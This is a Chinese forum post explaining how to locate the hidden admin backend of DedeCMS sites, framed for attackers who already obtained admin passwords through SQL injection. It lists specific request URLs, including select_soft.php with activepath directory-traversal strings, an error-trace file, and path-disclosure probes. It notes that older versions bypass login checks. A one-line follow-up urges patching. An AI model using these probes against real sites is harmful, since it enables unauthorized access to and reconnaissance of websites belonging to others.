搜索
查看: 2579|回复: 1

DEDECMS查找后台的方法

[复制链接]

69

主题

116

帖子

285

积分

中级会员

牛逼的金牌会员

Rank: 3Rank: 3

积分
285
QQ
发表于 2017-11-23 16:36:29 | 显示全部楼层 |阅读模式

有时在通过注射得到织梦程序的管理密码时,却发现找不到后台地址。

这个时候大家可以尝试下在地址后面加上:


1、/include/dialog/select_media.php?f=form1.murl


2、/include/dialog/select_soft.php


3.使用mysql_error 信息去试试 /data/mysql_error_trace.inc

DedeCmsV5.1 FreeSP1


/include/dialog/select_soft.php?activepath=/include/FCKeditor


可以跳转目录跳转到根目录的方法为:


/include/dialog/select_soft.php?activepath=/././././././././


而且DEDECMS在访问不存在的目录时会报错如访问


/include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p


DedeCMS V5.3.1和最新的DedeCMS V5.5正式版,发现这两个版本已经进行了处理,而且只会列出目录和一些允许显示的文件,PHP是不能显示了,爆路径是一样通用的构造


/include/dialog/select_soft.php?activepath=/include/FCKeditor


也可以浏览此目录下的文件,当然你也可以跳到别的目录,但长度一定要大于设置中的目录。不过前提是你要登陆下才能利用,这个就显得有点鸡肋了另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉到根目录去。不过这些版本的访问地址有些不同。地址为


xxx.com/require/dialog/select_soft.php?activepath=/././././././././


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
回复

使用道具 举报

69

主题

116

帖子

285

积分

中级会员

牛逼的金牌会员

Rank: 3Rank: 3

积分
285
QQ
 楼主| 发表于 2017-11-23 16:42:20 来自手机 | 显示全部楼层
建议尽快修复比漏洞!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表